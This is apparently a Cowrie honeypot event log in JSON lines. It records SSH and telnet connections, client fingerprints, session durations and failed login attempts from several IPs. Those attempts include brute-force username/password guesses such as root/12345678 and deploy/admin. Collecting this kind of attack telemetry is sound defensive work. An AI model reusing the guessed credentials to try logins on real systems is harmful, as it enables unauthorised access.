{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:12.720754Z","src_ip":"31.40.204.166","session":"ecf8845f1886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.030703783035278,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:13.256435Z","src_ip":"176.65.139.118","session":"aceaf1a028c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":47186,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0bea959ab1","protocol":"telnet","message":"New connection: 176.65.139.118:47186 (159.203.135.109:23) [session: ac0bea959ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:13.335468Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:13.524252Z","src_ip":"31.40.204.166","session":"ecf8845f1886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:15.015029Z","src_ip":"31.40.204.166","session":"ecf8845f1886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.10669565200806,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:17.065536Z","src_ip":"152.42.224.71","session":"00d9da408adf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.00051236152649,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:17.138620Z","src_ip":"152.42.224.71","session":"f61c33fc180e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:18.284280Z","src_ip":"176.65.139.118","session":"ac0bea959ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.6912150382995605,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:20.026579Z","src_ip":"176.65.139.118","session":"ac0bea959ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36678,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4cbf1d12769","protocol":"telnet","message":"New connection: 176.65.139.118:36678 (159.203.135.109:23) [session: e4cbf1d12769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:20.360721Z"}
{"eventid":"cowrie.session.closed","duration":3.0296742916107178,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:23.390280Z","src_ip":"176.65.139.118","session":"e4cbf1d12769","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":55290,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dabbb0f3026","protocol":"telnet","message":"New connection: 176.65.139.118:55290 (159.203.135.109:23) [session: 1dabbb0f3026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:23.533994Z"}
{"eventid":"cowrie.session.closed","duration":114.88832020759583,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:24.657503Z","src_ip":"152.42.224.71","session":"b1b45434c576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52430,"dst_ip":"159.203.135.109","dst_port":22,"session":"566feab69147","protocol":"ssh","message":"New connection: 31.40.204.166:52430 (159.203.135.109:22) [session: 566feab69147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:24.979616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:24.985373Z","src_ip":"31.40.204.166","session":"566feab69147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:25.112651Z","src_ip":"31.40.204.166","session":"566feab69147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:25.781563Z","src_ip":"31.40.204.166","session":"566feab69147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"264cf753b762","protocol":"telnet","message":"New connection: 152.42.224.71:51992 (10.17.0.5:23) [session: 264cf753b762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:25.938099Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:26.914731Z","src_ip":"31.40.204.166","session":"566feab69147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"86981198","message":"login attempt [root/86981198] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:28.766769Z","src_ip":"176.65.139.118","session":"1dabbb0f3026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.86726450920105,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:28.964927Z","src_ip":"152.42.224.71","session":"e9d3543482e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.7688984870910645,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:30.302744Z","src_ip":"176.65.139.118","session":"1dabbb0f3026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":42686,"dst_ip":"159.203.135.109","dst_port":23,"session":"8286ee274775","protocol":"telnet","message":"New connection: 176.65.139.118:42686 (159.203.135.109:23) [session: 8286ee274775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:30.662834Z"}
{"eventid":"cowrie.session.closed","duration":110.07120895385742,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:30.975001Z","src_ip":"152.42.224.71","session":"064b61c8ad74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174498558044,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:31.171477Z","src_ip":"152.42.224.71","session":"1e5ecb22b666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.12808537483215,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:32.234653Z","src_ip":"152.42.224.71","session":"9367b94d28e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.343240261077881,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:34.005933Z","src_ip":"176.65.139.118","session":"8286ee274775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":60596,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c908e81ec3d","protocol":"telnet","message":"New connection: 176.65.139.118:60596 (159.203.135.109:23) [session: 9c908e81ec3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:34.084610Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":58840,"dst_ip":"159.203.135.109","dst_port":22,"session":"0047f968e3e4","protocol":"ssh","message":"New connection: 103.75.183.219:58840 (159.203.135.109:22) [session: 0047f968e3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:34.936537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:34.941136Z","src_ip":"103.75.183.219","session":"0047f968e3e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:35.188750Z","src_ip":"103.75.183.219","session":"0047f968e3e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57294,"dst_ip":"10.17.0.5","dst_port":23,"session":"9821265bb075","protocol":"telnet","message":"New connection: 152.42.224.71:57294 (10.17.0.5:23) [session: 9821265bb075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:35.383068Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789987654321","message":"login attempt [root/123456789987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:35.932811Z","src_ip":"103.75.183.219","session":"0047f968e3e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.182923Z","src_ip":"103.75.183.219","session":"0047f968e3e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1693968772888184,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.253879Z","src_ip":"176.65.139.118","session":"9c908e81ec3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49628,"dst_ip":"159.203.135.109","dst_port":22,"session":"600077e1d355","protocol":"ssh","message":"New connection: 31.40.204.166:49628 (159.203.135.109:22) [session: 600077e1d355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.320071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.325958Z","src_ip":"31.40.204.166","session":"600077e1d355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.495396Z","src_ip":"31.40.204.166","session":"600077e1d355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36728,"dst_ip":"10.17.0.5","dst_port":23,"session":"9976c78076f5","protocol":"telnet","message":"New connection: 152.42.224.71:36728 (10.17.0.5:23) [session: 9976c78076f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.511668Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":54252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c977161a2210","protocol":"telnet","message":"New connection: 176.65.139.118:54252 (159.203.135.109:23) [session: c977161a2210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.648885Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:37.919422Z","src_ip":"31.40.204.166","session":"600077e1d355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.15954375267029,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:38.869478Z","src_ip":"152.42.224.71","session":"577236f1b9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:39.124503Z","src_ip":"31.40.204.166","session":"600077e1d355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.416990995407104,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:40.354954Z","src_ip":"152.42.224.71","session":"264cf753b762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6170852184295654,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:41.128579Z","src_ip":"152.42.224.71","session":"9976c78076f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"j1/_6s*w","message":"login attempt [root/j1/_6s*w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:41.771293Z","src_ip":"176.65.139.118","session":"c977161a2210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.863255262374878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:42.163022Z","src_ip":"152.42.224.71","session":"d23d46f0698c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.526301622390747,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:44.175039Z","src_ip":"176.65.139.118","session":"c977161a2210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35394,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b48f5b2613","protocol":"telnet","message":"New connection: 176.65.139.118:35394 (159.203.135.109:23) [session: a3b48f5b2613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:44.367172Z"}
{"eventid":"cowrie.session.closed","duration":38.74592423439026,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:44.650281Z","src_ip":"152.42.224.71","session":"46039ed697b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45316,"dst_ip":"159.203.135.109","dst_port":22,"session":"26821b6f39fb","protocol":"ssh","message":"New connection: 62.133.62.83:45316 (159.203.135.109:22) [session: 26821b6f39fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:46.975751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:46.981437Z","src_ip":"62.133.62.83","session":"26821b6f39fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:47.062548Z","src_ip":"62.133.62.83","session":"26821b6f39fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michelle","message":"login attempt [root/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:47.306768Z","src_ip":"62.133.62.83","session":"26821b6f39fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52214,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb8630dd721","protocol":"telnet","message":"New connection: 152.42.224.71:52214 (10.17.0.5:23) [session: edb8630dd721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:48.312033Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:48.393723Z","src_ip":"62.133.62.83","session":"26821b6f39fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solokey","message":"login attempt [root/solokey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:48.580877Z","src_ip":"176.65.139.118","session":"a3b48f5b2613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38920,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a53561b3cf9","protocol":"ssh","message":"New connection: 31.40.204.166:38920 (159.203.135.109:22) [session: 8a53561b3cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:49.484103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:49.502713Z","src_ip":"31.40.204.166","session":"8a53561b3cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.213385105133057,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:20:49.580458Z","src_ip":"176.65.139.118","session":"a3b48f5b2613","protocol":"telnet"}
